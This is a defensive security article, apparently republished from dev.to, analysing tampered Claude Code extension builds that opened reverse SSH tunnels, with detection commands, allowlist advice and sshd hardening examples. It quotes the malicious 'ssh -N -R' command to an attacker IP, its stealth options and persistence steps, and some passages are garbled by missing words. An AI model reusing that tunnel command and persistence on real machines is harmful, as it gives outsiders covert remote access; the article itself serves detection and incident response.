cd /news/ai-safety/when-the-tunnel-is-the-payload-spott… · home › topics › ai-safety › article
[ARTICLE · art-162223] src=dev.to ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

When the Tunnel Is the Payload: Spotting Rogue Reverse SSH Tunnels on Developer Machines

A security analysis documented how tampered builds of the Claude Code extension (anthropic.claude-code versions 2.1.312 and 2.1.313), distributed through Cursor's extension marketplace for roughly 11 hours on October 29, 2026, attempted to turn developer machines into reverse SSH tunnels. StepSecurity recovered the malicious extension.js, a clean 2.1.312 bundle with a 7,386-byte loader prepended, which added an attacker key to authorized_keys, enabled remote login, opened an `ssh -N -R '*:0:localhost:22'` connection to tunnel@134.209.82.225, and installed reboot, LaunchAgent and scheduled-task persistence. Cursor estimated at most 5,000 users were affected and noted the SSH service typically requires admin rights the extension lacked, though the key and persistence artifacts could still land.

by read11 min views8 publishedNov 2, 2026

Most writing about SSH tunnels is about convenience: reach a database behind a firewall, expose a local dev server, skip the VPN. On October 29, 2026, the other side showed up. Tampered builds of the Claude Code extension, served through Cursor’s extension marketplace, tried to turn developer laptops into inbound doorways using nothing more than ssh and, when present, autossh.

This is a defensive guide. It covers what the tunnel looked like on the wire and on the host, how to separate a sanctioned tunnel from a rogue one, and how to build an allowlist that does not blind you. The incident is the example. The detection logic applies to any reverse SSH tunnel.

According to Cursor’s security notice, malicious builds of anthropic.claude-code versions 2.1.312 and 2.1.313 for Windows and macOS were available in the Cursor VS Code Extension Marketplace between about 2:27 a.m. and 1:35 p.m. PT on October 29. That is 09:27 to 20:35 UTC, roughly 11 hours. Cursor estimated that at most 5,000 users were affected. The tampered builds used the legitimate extension ID rather than a look-alike name, so an auto-update could deliver them.

Three scoping points matter, because early coverage blurred them:

@anthropic-ai/claude-code npm package. Early reports named Open VSX as an origin. StepSecurity later corrected that: Anthropic confirmed 2.1.313 was never published there, and StepSecurity verified the Open VSX copy of 2.1.312 as clean. StepSecurity recovered the malicious extension.js and analyzed it statically. The file is the clean 2.1.312 bundle with a single 7,386-byte spliced in front. The is not obfuscated. It runs when the module loads, with no Claude conversation and no install hook required, and it works in six stages, each wrapped in a try/catch that swallows errors:

KEY|TOKEN|SECRET|PASS|AWS|GCP. svc-telemetry to ~/.ssh/authorized_keys, unless the marker is already there. systemctl on Linux, sudo -n systemsetup -setremotelogin on on macOS, and installs the OpenSSH Server capability on Windows.ssh -N -R connection to tunnel@134.209.82.225.@reboot entry on Linux, a com.apple.sysmond LaunchAgent on macOS, and a SysMon scheduled task with a Startup-folder fallback on Windows. The affected builds were for macOS and Windows, though the also contains a Linux code path. Microsoft maps the behavior to MITRE ATT&CK T1572 (Protocol Tunneling), T1098.004 (SSH Authorized Keys), T1053.003 (Cron) and T1053.005 (Scheduled Task).

One caveat matters for defenders: success depended on privileges. Cursor says that turning on the local SSH service needs admin rights the extension lacks on most macOS and Windows hosts, so the attacker could not log in through the tunnel on those machines. The exception is when Cursor was started with administrator privileges. StepSecurity adds that the macOS path works only where passwordless sudo is configured. Even so, Cursor and Microsoft agree that the key, the persistence artifacts and the host report could still land. A tunnel that cannot be used still leaves evidence you can find.

The incident’s own indicators are now stale, since the server is down. The behavior is not.

An ordinary SSH tunnel is initiated from the client toward something it wants to reach. A reverse tunnel flips the direction of reachability. The client makes an outbound connection, then asks the server to open a listening port that forwards back to a service on the client’s side.

The ’s core command was ssh -N -R '*:0:localhost:22' to tunnel@134.209.82.225. Read it piece by piece:

-N runs no remote command. The connection exists only to carry forwards.-R requests a remote forward, so a port on the attacker’s server connects back through the tunnel.*:0 asks for a wildcard bind with port zero, which lets the server choose the listening port.localhost:22 points that forward at the victim’s own SSH daemon. The effect: a machine behind NAT, with no inbound firewall rule, can become reachable through a port on someone else’s server. Inbound firewall rules and NAT do nothing to stop it, because the connection starts from inside. Whether that port is reachable by the wider internet depends on the server’s configuration. A wildcard bind is honored only if the server’s GatewayPorts setting allows it. An attacker still needs the matching private key and a running SSH daemon on the victim to get a login. This is why a running tunnel process is a lead rather than proof of access.

The also tuned the connection for stealth and durability, per StepSecurity’s recovered source:

BatchMode=yes, StrictHostKeyChecking=no and UserKnownHostsFile=/dev/null. Nothing asks the user anything and nothing is remembered. ServerAliveInterval=30, ServerAliveCountMax=3, ExitOnForwardFailure=yes and ConnectTimeout=10. autossh -M 0 when installed. The -M 0 flag turns off autossh’s monitoring port and leans on the keepalives instead. On Windows the same logic runs in a hidden PowerShell loop..stk_ plus ten hex characters. The characters come from a hash of the hostname and home directory, so the same machine always produces the same name. A second copy of the key lives under ~/.config (.smtk), so cleaning the temp directory does not end the tunnel. Each of those choices is also a detection opportunity.

No single signal is conclusive, because legitimate developers run reverse tunnels too. Good detection stacks several weak signals into one confident one. MITRE’s detection strategy for Protocol Tunneling (DET0538) takes the same approach. It pairs process creation, such as ssh with -L/-R forwarding flags, with network and sshd log data, and it lists an allowlist of legitimate tunneling tools as a tunable element.

Process creation is usually the highest-fidelity source, because the command line shows intent.

ssh or autossh command line.ssh.exe and Plink. It matches -oRemoteForward and -o RemoteForward, and it uses a regular expression for -NR or -fNR. A naive search for " -R " misses those. Elastic ships the rule at low severity, which tells you it is meant to generate leads for triage, not verdicts.*:0: and 0.0.0.0: forwards are unusual in sanctioned workflows, which tend to name a specific port.cron, or a scheduled task deserves attention. Elastic’s investigation guidance likewise says to escalate on shells, script interpreters, unusual parents and recently created binaries. A human typing in a terminal or a managed service unit is a different story.ifconfig.me and api.ipify.org, which the used to find its public IP. Many legitimate tools do the same.authorized_keys`` C:\ProgramData\ssh\administrators_authorized_keys. sshd newly enabledcom.apple.* label in a .smt, .stk_*). Policy documents say “approved tunnels only.” Detection needs something testable. A workable rule of thumb: a sanctioned tunnel is named, authenticated, and logged.

~/.ssh/config host alias or a managed service unit. Here is how that plays out in practice:

Property Sanctioned tunnel Rogue tunnel (as seen in this incident)
Destination Hostname on an approved list (bastion, relay you operate) Raw IP, no prior history
Host-key checking Enforced, known-hosts entry present Disabled, known-hosts sent to /dev/null
Key Named key tied to a person or service Embedded key written to a hidden temp file
Forward spec Specific loopback port for a specific service Wildcard bind, port 0, target is local sshd
Launched by Terminal session, systemd unit, launchd job with a known label Extension code, shell loop, cron, fake system-named job
Persistence Managed by config management or documented @reboot cron, look-alike LaunchAgent, scheduled task
Server side You operate it and read its logs Unknown third party
Owner on request Can name a ticket or teammate Nobody

As a rule of thumb (not a formal standard), if a tunnel fails more than two of those rows, treat it as hostile until someone with authority says otherwise.

Blocking all SSH is not realistic; developers push to Git remotes over it every day. The failure mode to avoid is the opposite one: an allowlist so broad that it hides the next tunnel. Three principles help.

1. Allowlist the full tuple, not the tool. Elastic’s false-positive guidance for its reverse-forwarding rule says benign activity should be tied to a verified combination of command line, host, user, parent process, executable, remote server and forward port. It tells you not to close an alert just because the binary is named ssh.exe or has a familiar path and signature. It also says to scope exceptions to the host, user, executable or hash, parent, and exact arguments, and not to suppress reverse forwarding across all hosts or accounts. An exception that reads “user X on host Y runs this binary from this parent to that relay on that port” is a control. An exception that reads “ignore autossh” is a hole.

2. Allowlist by destination, at the egress layer. Default-deny outbound SSH from developer subnets and VPN pools, then permit your bastions, your relay, and the Git hosts you actually use. Because port 22 is not the only way out, pair this with destination-based rules for 443. GitHub, for example, documents SSH over the HTTPS port at ssh.github.com:443, a different hostname from github.com. Allow the specific host, not the port.

3. Give exceptions an expiry. Time-box every tunnel exception and review it. A temporary exception for a demo that becomes permanent is how a monitoring gap is born.

A managed client configuration for a sanctioned tunnel might look like this:

Host dev-relay
    HostName relay.example.com
    User tunnel-svc
    IdentityFile ~/.ssh/id_ed25519_relay
    IdentitiesOnly yes
    StrictHostKeyChecking yes
    ServerAliveInterval 30
    ServerAliveCountMax 3
    ExitOnForwardFailure yes
    RemoteForward 127.0.0.1:9222 localhost:9222

Note what it does differently from the malicious one-liner. Host-key checking is on, the key is named, the forward targets one loopback port, and the whole thing lives in a file that audit tooling can read.

If you run the relay, you control what a tunnel can do. These OpenSSH server directives matter (see the sshd_config and sshd manual pages):

AllowTcpForwarding`` yes, no, local or remote. Set it per user in Match blocks instead of globally.PermitListen`` GatewayPorts``restrict, port-forwarding and permitlisten let you pin a given key to a narrow job. An illustrative relay configuration:

GatewayPorts no
LogLevel VERBOSE            # records key fingerprints on authentication

Match User tunnel-svc
    AllowTcpForwarding remote
    PermitListen 127.0.0.1:9222
    PermitTTY no
    X11Forwarding no
    ForceCommand /bin/false
restrict,port-forwarding,permitlisten="127.0.0.1:9222" ssh-ed25519 AAAA... relay-key-for-dev-team

Run sshd -T to see the effective configuration, and add -C to test Match conditions for a given user and address.

On the endpoint, the cheap wins target the supply chain, since that is how this tunnel arrived:

sudo Run these on a sample of machines, or push them through your management tooling. Treat results as leads, not proof.

macOS and Linux

ps -eo pid,ppid,user,command | grep -E '[a]utossh|[s]sh[[:space:]]+(.*[[:space:]])?-[A-Za-z]*R'

ss -tnp state established '( dport = :22 )'    # Linux (root shows all processes)
lsof -iTCP:22 -sTCP:ESTABLISHED -nP            # macOS

ls -la "${TMPDIR:-/tmp}"/.stk_* ~/.config/.smt ~/.config/.smtk 2>/dev/null

grep -n 'svc-telemetry' ~/.ssh/authorized_keys
crontab -l | grep -i '@reboot'                          # the cron path is the Linux branch
ls ~/Library/LaunchAgents | grep -i 'com.apple.sysmond'  # macOS

The -R pattern also matches any short option cluster containing a capital R (for example -oRequestTTY), so expect some noise.

Windows (PowerShell)

Get-CimInstance Win32_Process |
  Where-Object { $_.CommandLine -match '(ssh|plink)(\.exe)?\s.*-[A-Za-z]*R' } |
  Select-Object ProcessId, ParentProcessId, CommandLine

Get-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue
Test-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
Get-ChildItem "$env:TEMP" -Force -Filter '.stk_*' -ErrorAction SilentlyContinue

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files) { Select-String -Path $files -Pattern 'svc-telemetry' }

Fleet sweep for this specific incident. Look for installed anthropic.claude-code-2.1.312-* and anthropic.claude-code-2.1.313-* extension folders, and search each extension.js for 134.209.82.225 or svc-telemetry:

grep -rlE '134\.209\.82\.225|svc-telemetry' --include=extension.js \
  ~/.cursor/extensions/anthropic.claude-code-2.1.31[23]-* 2>/dev/null

Finding the extension folder is not proof of compromise. Confirm the download source and window, then look for the key. If the svc-telemetry key is present, Cursor says the machine is impacted. Preserve evidence first, then use Cursor’s security notice as the authority for the remediation scripts. Remove the key, persistence and tunnel processes, decide whether to rebuild the host, and rotate credentials and sessions from a trusted system. The collected only the names of environment variables, not their values. Cursor still warns that this does not rule out later credential access over the backdoor.

The lesson from the tampered Claude Code builds is not that one marketplace failed. It is that the tunnel itself can be the payload: about 7 KB of code, a stock ssh binary, and an outbound connection that most networks permit. The command line, the parent process, the destination and the persistence all give it away if you are collecting them.

Build your detection around the three words that separate a tool from a threat. If a tunnel is named, authenticated and logged, allowlist it narrowly and let it run. If it is none of those, find out who owns it.

Originally published at https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines

── more in #ai-safety 4 stories · sorted by recency
── more on @cursor 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/when-the-tunnel-is-t…] indexed:0 read:11min 2026-11-02 · —